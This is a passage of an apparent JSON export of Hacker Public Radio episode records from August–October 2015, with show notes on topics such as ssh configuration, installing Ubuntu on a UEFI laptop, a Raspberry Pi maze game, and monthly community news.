                                                            • hpr1836\n(2015-08-17) \"The Statusnet Shuffle\"\nby NYbill.\n
                                                              • Comment 1:\n0xf10e on 2015-08-17:\n\"you should put up some VPS based blog ;)\"
                                                              • Comment 2:\nNYbill on 2015-08-18:\n\"maybe some day...\"
                                                              • \n

                                                            • \n
                                                            • hpr1837\n(2015-08-18) \"Put an SSD in your Linux Box\"\nby 2BFrank.\n
                                                              • Comment 1:\n0xf10e on 2015-08-18:\n\"correction on TRIM\"
                                                              • Comment 2:\nnoah on 2015-08-21:\n\"minimizing writes\"
                                                              • \n

                                                            • \n
                                                            • hpr1838\n(2015-08-19) \"Waking up with Windigo\"\nby Windigo.\n
                                                              • Comment 1:\nJon Kulp on 2015-08-19:\n\"The Very Essence\"
                                                              • Comment 2:\nDave Morriss on 2015-08-19:\n\"I wouldn't have done it that way...\"
                                                              • Comment 3:\nNYbill on 2015-08-20:\"[no title]\"
                                                              • Comment 4:\nBeeza on 2015-08-20:\n\"Geekdom At Its Very Best\"
                                                              • \n

                                                            • \n
                                                            • hpr1841\n(2015-08-24) \"My way into Linux\"\nby folky.\n
                                                              • Comment 1:\nWindigo on 2015-08-31:\n\"Great first episode!\"
                                                              • \n

                                                            • \n
                                                            • hpr1842\n(2015-08-25) \"TiT Radio 20 You've Been Pwned (probably)\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\n0xf10e on 2015-08-25:\n\"Re: Car Malware \"
                                                              • Comment 2:\nMike Ray on 2015-08-25:\n\"We're doomed I tell eee\"
                                                              • \n

                                                            • \n
                                                            • hpr1843\n(2015-08-26) \"Some Bash tips\"\nby Dave Morriss.\n
                                                              • Comment 1:\nKen Fallon on 2015-08-26:\n\"Obsolete ?\"
                                                              • Comment 2:\nDave Morriss on 2015-08-28:\n\"Maybe obsolescent or outmoded\"
                                                              • \n

                                                            • \n
                                                            • hpr1844\n(2015-08-27) \"The Marantz PMD 660 Professional Solid State Recorder\"\nby Jon Kulp.\n
                                                              • Comment 1:\nMike Ray on 2015-08-29:\n\"Quality\"
                                                              • Comment 2:\nJon Kulp on 2015-08-30:\n\"Open Goldberg!\"
                                                              • Comment 3:\nKevin O'Brien on 2015-08-31:\n\"Agree with Mike\"
                                                              \n
                                                            • \n
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1852,"date":"2015-09-08","title":"Operation Wallacea","duration":1769,"summary":"I talk to my daughter about her recent trip to Indonesia","notes":"

                                                            Operation Wallacea

                                                            \n

                                                            This summer my daughter Clara spent a month as a volunteer Research Assistant on Hoga Island in Indonesia learning to dive and helping to survey the coral reef and other habitats.

                                                            \n

                                                            In this episode we talk about Clara's experiences with Operation Wallacea.

                                                            \n

                                                            Photos

                                                            \n
                                                            \n\"1
                                                            1 Welcome to Hoga Island
                                                            \n
                                                            \n
                                                            \n\"2
                                                            2 Relaxing near the Lodge
                                                            \n
                                                            \n
                                                            \n\"3
                                                            3 Beach
                                                            \n
                                                            \n
                                                            \n\"4
                                                            4 Soft and hard corals
                                                            \n
                                                            \n
                                                            \n\"5
                                                            5 Divers and soft corals
                                                            \n
                                                            \n
                                                            \n\"6
                                                            6 Upside-down jellyfish
                                                            \n
                                                            \n
                                                            \n\"7
                                                            7 Mangroves
                                                            \n
                                                            \n
                                                            \n\"8
                                                            8 Humbug Damselfish
                                                            \n
                                                            \n
                                                            \n\"9
                                                            9 Blue Damselfish
                                                            \n
                                                            \n
                                                            \n\"10
                                                            10 The hut from inside
                                                            \n
                                                            \n
                                                            \n\"11
                                                            11 The hut's verandah
                                                            \n
                                                            \n
                                                            \n\"12
                                                            12 The Shop
                                                            \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"operation wallacea,hoga island,diving,padi,scuba,snorkel,coral,reef","version":0,"downloads":0,"valid":1}, {"id":1853,"date":"2015-09-09","title":"I <3 Vista","duration":400,"summary":"How I got into Linux","notes":"

                                                            \nI talk about how Vista got me into Linux, and my computing experience in general.\n

                                                            ","hostid":303,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Windows Vista,Ubuntu,Macintosh,Acer,Debian","version":0,"downloads":0,"valid":1}, {"id":1854,"date":"2015-09-10","title":"Installing Ubuntu on the Asus TP500L","duration":927,"summary":"I talk about the process of getting Ubuntu onto my son's UEFI-secured laptop.","notes":"
                                                              \n\t
                                                            1. Getting to BIOS\n\t\t
                                                                \n\t\t\t
                                                              1. In Windows, go to Settings
                                                              2. \n\t\t\t
                                                              3. Search for advanced startup options
                                                              4. \n\t\t\t
                                                              5. Follow your nose to Boot to UEFI settings
                                                              6. \n\t\t\t
                                                              7. Can also get there by doing Shift+click on the Restart or Shutdown buttons then clicking through to advanced options until you find \"enter setup.\" Pressing F2 never worked for me
                                                              8. \n\t\t
                                                            2. \n\t
                                                            3. In the BIOS\n\t\t
                                                                \n\t\t\t
                                                              1. Security tab: disable \"Secure Boot Control\"
                                                              2. \n\t\t\t
                                                              3. Boot tab: disable \"Fast Boot\"
                                                              4. \n\t\t\t
                                                              5. Boot tab: Here Asus support says to enable \"launch CSM\" (Compatibility Support Mode) but it wouldn't boot from the Ubuntu USB image this way. It worked when I left CSM disabled. I bet CSM works with a Windows or DOS USB.
                                                              6. \n\t\t
                                                            4. \n\t
                                                            5. Plug in USB with Ubuntu image on it
                                                            6. \n\t
                                                            7. Restart computer and hold ESC key down, forcing windows boot menu to appear
                                                            8. \n\t
                                                            9. Choose the USB drive to boot from, off you go!
                                                            10. \n
                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"UEFI, Ubuntu, Dual-Booting, Windows 10, Privacy","version":0,"downloads":0,"valid":1}, {"id":1855,"date":"2015-09-11","title":"61 - LibreOffice Impress - Slide Layouts and AutoLayout Text Boxes","duration":1066,"summary":"LibreOffice Impress Slide Layouts and components are explored","notes":"

                                                            \nWe have spent several tutorials on graphics, including the Themes and the Gallery, and that is all to the good since Impress is a graphical program to some degree. But it also is a way of presenting text content, and it worth a little time to develop that further. Impress does some things with text that resemble other programs like Writer, but it also does some things differently so it is worth a moment to discuss these specifics.\nFor more go to https://www.ahuka.com/?page_id=1245\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Layouts, AutoLayout, Text Boxes","version":0,"downloads":0,"valid":1}, {"id":1856,"date":"2015-09-14","title":"ssh config","duration":747,"summary":"Klaatu talks about ssh config.","notes":"

                                                            Put a file called 'config' into ~/.ssh and you can define any option you would normally provide as part of the command as an automatically-detected configuration.

                                                            \n\n

                                                            \nFor example:\n

                                                            \n
                                                            \nhost foo\n    hostname foo.org\n    identityfile /home/klaatu/.ssh/foo_rsa\n    port 2740\n    protocol 2\n
                                                            \n

                                                            \nMakes the command 'ssh klaatu@foo' look like this to SSH:\n

                                                            \n
                                                            \nssh -p2740 -i ~/.ssh/foo_rsa klaatu@foo.org\n
                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ssh,configuration,tutorial,hints and tips","version":0,"downloads":0,"valid":1}, {"id":1857,"date":"2015-09-15","title":"Adventures In Coffee","duration":1131,"summary":"CPrompt talks about his adventures in coffee making and how he finally realized that the French Pres","notes":"
                                                              \n
                                                            1. CPrompts French Press: https://www.amazon.com/Bodum-Chambord-French-Coffee-Chrome/dp/B00008XEWG\n
                                                            2. \n
                                                            3. Grocer that has some great coffee: https://www.thefreshmarket.com/\n
                                                            4. \n
                                                            5. The only creamer that will go in CPrompt's coffee: https://www.califiafarms.com/products/coffee-creamer/ \n
                                                            6. \n
                                                            ","hostid":252,"series":88,"explicit":1,"license":"CC-BY-SA","tags":"coffee,fresh,coffee pots,french press,cafetiere,coffee plunger","version":0,"downloads":0,"valid":1}, {"id":1858,"date":"2015-09-16","title":"Multimeter Mod's Part 2","duration":1379,"summary":"NYbill finishes modification two to his multimeter. ","notes":"

                                                            \nNYbill talks about the second modification to his UNI-T UT61E multimeter. In this episode the switch and auto-timeout circuitry is installed.\n

                                                            \n

                                                            \nThis is a follow up to Multimeter Mod's Part 1:\n

                                                            \n\n\n\n

                                                            \nA video of Asphere's 3D printer in action: \n

                                                            \n\n\n\n

                                                            \nPictures for the episode:\n

                                                            \n\n","hostid":235,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"multimeter,hack,maker,mod,modification,improve,electronics,blender,3D printing","version":0,"downloads":0,"valid":1}, {"id":1859,"date":"2015-09-17","title":"A Mouse in a Maze on the Raspberry PI","duration":2389,"summary":"This podcast describes a little game that I learned in my first programming class.","notes":"

                                                            This podcast is about a little programming exercise I learned in my first programming class. The idea is to generate a random text-based maze and make mouse ('@') search the maze systematically to find the cheese ('V'). If it does so before it runs out of energy (moves) it wins ('$' == happy mouse). Otherwise it starves ('%' == dead mouse).

                                                            \n

                                                            You can find my git repos for the Raspberry PI code including this program at these locations:

                                                            \n\n

                                                            The Mouse-in-a-maze program also requires the catlib library as well which is at:

                                                            \n\n

                                                            You may note that these directories are different from those in my previous RPI episodes. The repositories used to be on gitorious. However since gitlab acquired gitorious, I have migrated the repositories. They currently live on both github and gitlab and I have pushing updates to both for the time being. So I have been waffling about which one will be the ultimate master for these projects. But since, I am doing most all the work on this code myself, it doesn't much matter for the time being.

                                                            \n

                                                            If this is your first time playing with bare metal programming in the RPI you can get more info and tips from HPR episodes 1619, 1630 and 1666. Note that the gitorious links in those episodes are outdated as mentioned above. The github links therein should still be fine though.

                                                            \n

                                                            The mouse code itself is in the apps/mouse0 directory. If you haven't played with this environment before you'll need to do the following:

                                                            \n
                                                              \n
                                                            • Get a compatible ARM toolchain up and running to build for the RPI. I recommend using: https://github.com/dwelch67/build_gcc/blob/master/build_arm
                                                            • \n
                                                            • You'll need a USB-to-TTL serial cable to hook up to the RPI. I use: https://www.adafruit.com/products/954
                                                            • \n
                                                            • You'll also need a small SD card to boot from.
                                                            • \n
                                                            • Follow the steps in catrpi/README.txt to\n
                                                                \n
                                                              • create an SD-card with a loader on it.
                                                              • \n
                                                              • build catlib for the RPI locally (a prereq for building mouse0.bin)
                                                              • \n
                                                              • set up your serial connection to the RPI
                                                              • \n
                                                              • start up a minicom instance to connect to the RPI
                                                              • \n
                                                            • \n
                                                            \n

                                                            Once those prerequisites are taken care of you can:

                                                            \n
                                                              \n
                                                            • change directory to /path/to/catrpi/apps/mouse0 type make to build
                                                            • \n
                                                            • mouse0.bin power on the RPI at the loader prompt, type 'x' in the
                                                            • \n
                                                            • serial console to start X-modem reception on the RPI
                                                            • \n
                                                            • use your terminal program to send the mouse0.bin file via X-modem. In minicom you do this by CTRL-A followed by 's'. You then select 'xmodem' as the protocol and navigate to and select the file mouse0.bin to send.
                                                            • \n
                                                            • when the transfer completes type 's' to start the program
                                                            • \n
                                                            \n

                                                            These pages describe VT100 Terminal codes:

                                                            \n\n

                                                            Sample traversal:

                                                            \n
                                                              ########################################\n  #+0****## #+#...###...#..$ ##  #  #    #\n  ##+###+## #+++......#...# ##       #   #\n  # #.+++++#....#   #      #    #      # #\n  #  #+++++#+.+..#  #  #          #      #\n  #  #.##.+++#+.### #     #   #   ##     #\n  #  ###.+.##++.##     #   ###     #   # #\n  ####+.#..#++#.##   #      #####   ##   #\n  #++#.#.###+.##    ##       ##    #   # #\n  #++++++.##.++.#   #  ##     #  # #  # ##\n  #+++++#..##.##      ## #  #### # #    ##\n  #+.....#..#.  ##   #      #     ##  ## #\n  #+..+.......   # #      #      #  ##   #\n  #+...#..###       # #  #          ##  ##\n  #.#..#.........# # # # ##### # #    ## #\n  #.......##  ##....  #        ###   ##  #\n  ##......# ##   ##..#  #####          # #\n  #.+.#...###    ###. ##          ##  # ##\n  ##.+...#  #      ####      #   ##    # #\n  ########################################\n  Mouse found the cheese!  :)  Press any key to restart!
                                                            \n

                                                            Links

                                                            \n\n","hostid":259,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry PI, Bare metal programming","version":0,"downloads":0,"valid":1}, {"id":1860,"date":"2015-09-18","title":"FiftyOneFifty interviews Chris Waid of Save WiFi","duration":8226,"summary":"This could be the most important podcast you listen to this year","notes":"

                                                            \nThe Save WiFi program has been instituted to combat the greatest threat the open source movement has faced from government over regulation. If you have listened to LinuxLUGCast.com, The Linux Link Tech Show, Linux for the Rest od US,or HPR recently, you may already be aware that recent decisions by the FCC have already forced router manufactures to lock down their equipment against the installation of non factory firmware. My guest, Chris Waid, CEO of Think Penguin and a leader in the Save WiFi project, joins me to explain how Linux on the desktop may also become subject to FCC regulation. As manufacturers incorporate more Software Defined Radio into PC's, the FCC may feel it has no choice but to lock down (or lock out), not only open source software, but any software that is not pre vetted and pre certified, even on proprietery OS's.\n

                                                            \n

                                                            \nRight now, there is a narrow window where the FCC has invited comment from the public, and Hacker Public Radio invites all our listeners to add their voices against this ill advised course of action.\n

                                                            \n\n

                                                            \nThere is one small saving grace. Kevin Wisher found an Ars Technica article where an unnamed FFC spokesman seems to be saying locking open source firmware out of routers was not the intended consequence (even though Open-WRT was mentioned by name in the updated rules). I think the FCC might prefer manuafacturers avoid incorporating radio hardware that is so easily manipulated:\nhttps://arstechnica.com/information-technology/2015/09/fcc-accused-of-locking-down-wi-fi-routers-but-the-truth-is-a-bit-murkier/\n

                                                            \n

                                                            \nI want to give special thanks to Chris Waid for going above and beyond for recording our conversation because I was having ISP problems. I want to appologize in advance for any audio problems, I was way low and had to fix it in post.\n

                                                            \n\n","hostid":131,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Save WiFi,router,FCC","version":0,"downloads":0,"valid":1}, {"id":1861,"date":"2015-09-21","title":"Cool Stuff pt. 4","duration":1032,"summary":"CPrompt talks about some more cool stuff for you to enjoy!","notes":"

                                                            CMUS

                                                            \n\n

                                                            \nA great command line music player\n

                                                            \n

                                                            \nCMUS Home Page: https://cmus.github.io/\n

                                                            \n

                                                            \nA good guide: https://www.tuxarena.com/static/cmus_guide.php\n

                                                            \n\n

                                                            Song Exploder

                                                            \n\n

                                                            \nPodcast where musicians take apart their songs bit by bit\n

                                                            \n

                                                            \nhttps://songexploder.net/\n

                                                            \n\n

                                                            Mr. Robot

                                                            \n\n

                                                            \nhttps://www.imdb.com/title/tt4158110/\n

                                                            \n

                                                            \n\"Follows a young computer programmer (Malek) who suffers from social anxiety disorder and forms connections through hacking. He's recruited by a mysterious anarchist, \nwho calls himself Mr. Robot.\"\n

                                                            \n

                                                            \nThe pilot for Mr. Robot was directed by Niels Arden Oplev (The Girl With The Dragon Tattoo) \n

                                                            \n

                                                            \nDirected by: \n

                                                            \n\n
                                                              \n
                                                            • Sam Esmail\n
                                                            • \n
                                                            \n\n

                                                            \nStarring:\n

                                                            \n\n
                                                              \n
                                                            • Rami Malek\n
                                                            • \n
                                                            • Christian Slater\n
                                                            • \n
                                                            • Carly Chaikin\n
                                                            • \n
                                                            • Portia Doubleday\n
                                                            • \n
                                                            • Martin Wallstrm\n
                                                            • \n
                                                            ","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CMUS,Mr Robot","version":0,"downloads":0,"valid":1}, {"id":1862,"date":"2015-09-22","title":"The Awesomely Epic Guide To KDE Part 1","duration":1307,"summary":"A tutorial of the KDE Desktop","notes":"

                                                            \nHello my name is Geddes and this is my first HPR Episode. Its part 1 of an audio voice recording of an article entitled THE AWESOMELY EPIC GUIDE TO KDE. This is a tutorial on the KDE Desktop, which I did for Linux Voice Magazine back at the start of 2015. Its primarily in response to the call from HPR for more shows, but in my introduction I've also mentioned a few other reasons which I hope listeners will find interesting, a couple are around the issues of diversity and accessibility. \n

                                                            \n\n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux Voice,KDE,desktop","version":0,"downloads":0,"valid":1}, {"id":1863,"date":"2015-09-23","title":"The Awesomely Epic Guide To KDE Part 2","duration":1307,"summary":"The Awesomely Epic Guide To KDE Part 2","notes":"

                                                            \nHello my name is Geddes and this is my second HPR Episode. Its part 2 of an audio voice recording of an article entitled THE AWESOMELY EPIC GUIDE TO KDE. This is a tutorial on the KDE Desktop, which I did for Linux Voice Magazine back at the start of 2015. In this half the topics I cover are - Upgrade Launch Menu, File Management, Window Management, and Visual Effects.\n

                                                            \n\n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux Voice,KDE,desktop","version":0,"downloads":0,"valid":1}, {"id":1864,"date":"2015-09-24","title":"Turning an old printer into a network printer","duration":1261,"summary":"Using a Raspberry Pi as a print spooler for an old USB printer","notes":"

                                                            Overview

                                                            \n

                                                            I have a USB printer I bought back in 2005 when I bought a Windows PC for the family. It's an HP PSC 2410 PhotoSmart All-in-One printer. This device is a colour inkjet printer, with a scanner, FAX and card-reading facilities. It has been left unused in a corner for many years, and I recently decided to to see if I could make use of it again, so I cleaned it up and bought some new ink cartridges for it.

                                                            \n

                                                            It is possible to use this printer on Linux using CUPS for the printing and SANE for scanning. I connected it to my Linux desktop for a while to prove that it was usable. However, rather than leaving it connected in this way, I wanted to turn it into a network printer that could be used by the rest of the family. My kids are mostly away at university these days but invariably need to print stuff when they pass through. I searched the Internet and found an article in the Raspberry Pi Geek magazine which helped with this project.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long, they have been placed in a separate file accessible by clicking this link.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. HP PSC 2410 PhotoSmart All-in-One printer: https://h10025.www1.hp.com/ewfrf/wc/product?cc=uk&lc=en&product=303753
                                                            2. \n
                                                            3. CUPS.org main web site: https://www.cups.org/
                                                            4. \n
                                                            5. CUPS Wikipedia entry: https://en.wikipedia.org/wiki/CUPS
                                                            6. \n
                                                            7. HP Linux Imaging and Printing (HPLIP): https://hplipopensource.com/hplip-web/index.html
                                                            8. \n
                                                            9. Scanner Access Now Easy (SANE): https://en.wikipedia.org/wiki/Scanner_Access_Now_Easy
                                                            10. \n
                                                            11. "Converting the Raspberry Pi to a wireless print server" from the Raspberry Pi Geek magazine: https://www.raspberry-pi-geek.com/Archive/2013/01/Converting-the-Raspberry-Pi-to-a-wireless-print-server
                                                            12. \n
                                                            13. Linux Foundation OpenPrinting work group: https://www.linuxfoundation.org/collaborate/workgroups/openprinting/\n
                                                            14. \n
                                                            15. Arch Wiki on CUPS - Linux Server Windows Client: https://wiki.archlinux.org/index.php/CUPS_printer_sharing#Linux_server_-_Windows_client
                                                            16. \n
                                                            17. Internet Printing Protocol (IPP): https://en.wikipedia.org/wiki/Internet_Printing_Protocol
                                                            18. \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"printer,network,raspberry pi,CUPS,SANE","version":0,"downloads":0,"valid":1}, {"id":1865,"date":"2015-09-25","title":"62 - LibreOffice Impress - Working With Text Boxes","duration":965,"summary":"The use of Text Boxes from the Drawing Toolbar is explored","notes":"

                                                            \nText Boxes are considered graphical objects, actually, so they are controlled by the Drawing Object Styles. These can be a little bit confusing because they are shared among different LibreOffice modules, so some of the things you see arent really meant for Impress. For example, there are three Title styles, but none of them are meant for putting titles on slides. They are actually meant for putting titles on drawings, such as engineering drawings. If you you wanted to have a slide title but use Text boxes, you should select the Title Only slide layout. The Title would be controlled by the Title Presentation Style.\nFor more go to https://www.ahuka.com/?page_id=1250\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Layouts, Text Boxes","version":0,"downloads":0,"valid":1}, {"id":1866,"date":"2015-09-28","title":"An awkward talk with two young computer users","duration":327,"summary":"Eric and Emily discuss operating systems, school and fun uses of computers.","notes":"

                                                            \nQuvmoh speaks with Eric 15 and Emily 10 about their computer usage and implore others to contribute to HPR\n

                                                            ","hostid":110,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"young computer users","version":0,"downloads":0,"valid":1}, {"id":1867,"date":"2015-09-29","title":"The Lafayette Public Library Maker Space","duration":2733,"summary":"My son and I visit the Lafayette Public Library to try out the 3d printer in the maker space.","notes":"

                                                            The Lafayette Public Library Maker Space

                                                            \n\n\"Exterior\n\n

                                                            The Renovated Main Library

                                                            \n\n\"Large\n\n

                                                            Sewing Area

                                                            \n\n\"Display\n\n

                                                            Rolling pin with laser-etched π symbols

                                                            \n\n\n\"Array\n\n

                                                            Knitting Area

                                                            \n\n\n\"Triangular\n

                                                            Lego Robotics Space

                                                            \n\n\"One\n\n

                                                            The Ultimaker2

                                                            \n\n\"Close\n\n

                                                            Trying to print my Kindle paperwhite stand.

                                                            \n\n\"The\n\n

                                                            The Taz 3D printer by Lulzbot

                                                            \n\n

                                                            The finished Kindle stand:

                                                            \n\n\"My\n\n

                                                            It worked! Bad part of this design is that it does not accommodate the case that I have on my Kindle, so to use the stand with the Kindle I'll have to remove the case. The next photo shows my son's nook color sitting sideways on it. I might try to modify the design so that it will accommodate the Kindle with its case and also prop it up a bit more vertically. Still, this was a really fun experiment with my first 3d printout.

                                                            \n\n\"Kindle\n\n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3d printing, DIY, makers, libraries","version":0,"downloads":0,"valid":1}, {"id":1868,"date":"2015-09-30","title":"Glasgow Podcrawl review","duration":2908,"summary":"The intrepid Glasgow Podcrawlers meet to discuss their experiences back in July","notes":"

                                                            Glasgow Podcrawl review

                                                            \n

                                                            The second Glasgow Podcrawl took place on the 10th of July 2015. The participants were:

                                                            \n\n

                                                            The event started at 6pm in the State Bar on Holland Street, moved on to the Bon Accord, the Inn Deep and finally to the Three Judges.

                                                            \n

                                                            Dave Morriss departed after visiting the second bar to head back to Edinburgh, but everyone else lasted to the very end!

                                                            \n

                                                            In this episode hear the details of this singular event, and a whole lot about many other things.

                                                            \n

                                                            Links

                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Glasgow,Podcrawl,review","version":0,"downloads":0,"valid":1}, {"id":1869,"date":"2015-10-01","title":"Irssi Connectbot","duration":848,"summary":"NYbill talks about setting up Irssi Connectbot on a Android phone to access IRC.","notes":"

                                                            \nNYbill talks about setting up Irssi Connectbot on a Android phone to access IRC.\n

                                                            \n

                                                            \nhttps://f-droid.org/repository/browse/?fdid=org.woltage.irssiconnectbot\n

                                                            \n

                                                            \nI don't know him. But, thanks for this handy guide on setting up key pairs with Connectbot, Michael:\n

                                                            \n

                                                            \nhttps://michaelchelen.net/0f3e/android-connectbot-ssh-key-auth-howto/\n

                                                            ","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Android,phone,IRC,Irssi,Irssi ConnectBot,ssh","version":0,"downloads":0,"valid":1}, {"id":1870,"date":"2015-10-02","title":"19 - Home SSH Server","duration":1115,"summary":"To learn ssh it helps to experiment, so this explains setting up a simple home server.","notes":"

                                                            \nThe best way to get familiarity with the concepts we will discuss is by experimentation. I think that it is becoming more common these days for people to own more than one computer and set them up in a network. And with cheap computers like Raspberry Pi it is really easy to get started. In this tutorial I want to discuss how you can set up such a server for your experiments in ssh. I encourage you to do this even though I dont intend this series to focus on server administration. The idea is that by practising these these techniques behind a good firewall you can get some familiarity with them before you get out on the Internet where it matters. For most Linux users, at least, installing and setting up a server is really simple, and you can do it minutes.\nFor more go to https://www.zwilnik.com/?page_id=847 \n

                                                            \n\n

                                                            Links:

                                                            \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"ssh, Telnet, server","version":0,"downloads":0,"valid":1}, {"id":1871,"date":"2015-10-05","title":"HPR Community News for September 2015","duration":5519,"summary":"HPR Community News for September 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n Geddes.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1847Tue2015-09-01Client Side C- WTF Is Wrong With You?sigflup
                                                            1848Wed2015-09-02Introduction to w3m, a Command Line Web BrowserFrank Bell
                                                            1849Thu2015-09-03LinuxLugCast Episode-004 OuttakesKevin Wisher
                                                            1850Fri2015-09-0418 - ssh IntroductionAhuka
                                                            1851Mon2015-09-07HPR Community News for August 2015HPR Volunteers
                                                            1852Tue2015-09-08Operation WallaceaDave Morriss
                                                            1853Wed2015-09-09I <3 VistaAlpha32
                                                            1854Thu2015-09-10Installing Ubuntu on the Asus TP500LJon Kulp
                                                            1855Fri2015-09-1161 - LibreOffice Impress - Slide Layouts and AutoLayout Text BoxesAhuka
                                                            1856Mon2015-09-14ssh configklaatu
                                                            1857Tue2015-09-15Adventures In CoffeeCurtis Adkins (CPrompt^)
                                                            1858Wed2015-09-16Multimeter Mod's Part 2NYbill
                                                            1859Thu2015-09-17A Mouse in a Maze on the Raspberry PIGabriel Evenfire
                                                            1860Fri2015-09-18FiftyOneFifty interviews Chris Waid of Save WiFiFiftyOneFifty
                                                            1861Mon2015-09-21Cool Stuff pt. 4Curtis Adkins (CPrompt^)
                                                            1862Tue2015-09-22The Awesomely Epic Guide To KDE Part 1Geddes
                                                            1863Wed2015-09-23The Awesomely Epic Guide To KDE Part 2Geddes
                                                            1864Thu2015-09-24Turning an old printer into a network printerDave Morriss
                                                            1865Fri2015-09-2562 - LibreOffice Impress - Working With Text BoxesAhuka
                                                            1866Mon2015-09-28An awkward talk with two young computer usersQuvmoh
                                                            1867Tue2015-09-29The Lafayette Public Library Maker SpaceJon Kulp
                                                            1868Wed2015-09-30Glasgow Podcrawl reviewDave Morriss
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-09-01 07:56:04 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-09-05T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/911
                                                              \n Messages: 3

                                                            2. \n
                                                            3. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-09-06 17:41:07 +0100
                                                              \n Subject: Test message. There seems to be a problem with the HPR list
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/914
                                                              \n Messages: 3

                                                            4. \n
                                                            5. From: Charles Thayer <catintp@...>
                                                              \n Date: 2015-09-08 13:58:29 -0700
                                                              \n Subject: Markdown for HPR Show Notes
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/917
                                                              \n Messages: 6

                                                            6. \n
                                                            7. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-09-09 10:53:50 +0200
                                                              \n Subject: HPR Menus are not accessible
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/918
                                                              \n Messages: 7

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-09-09 10:56:42 +0200
                                                              \n Subject: Mail list test with links - PLEASE IGNORE
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/919
                                                              \n Messages: 2

                                                            10. \n
                                                            11. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-09-12 17:08:25 -0500
                                                              \n Subject: Re: Submmiting markdown, WYSIWYG editors?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/932
                                                              \n Messages: 2

                                                            12. \n
                                                            13. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-09-14 09:55:26 +0200
                                                              \n Subject: Getting in new contributors
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/934
                                                              \n Messages: 22

                                                            14. \n
                                                            15. From: lostnbronx <lostnbronx@...>
                                                              \n Date: 2015-09-15 16:29:58 -0700
                                                              \n Subject: Re: Hpr Digest, Vol 84, Issue 16
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/949
                                                              \n Messages: 1

                                                            16. \n
                                                            17. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-09-16 03:10:51 -0500
                                                              \n Subject: Re: sounding stupid
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/952
                                                              \n Messages: 3

                                                            18. \n
                                                            19. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-09-16 18:04:01 -0500
                                                              \n Subject: Re: Hpr Digest, Vol 84, Issue 18
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/955
                                                              \n Messages: 2

                                                            20. \n
                                                            21. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-09-18 01:04:19 -0500
                                                              \n Subject: The HPR Zoom H1
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/956
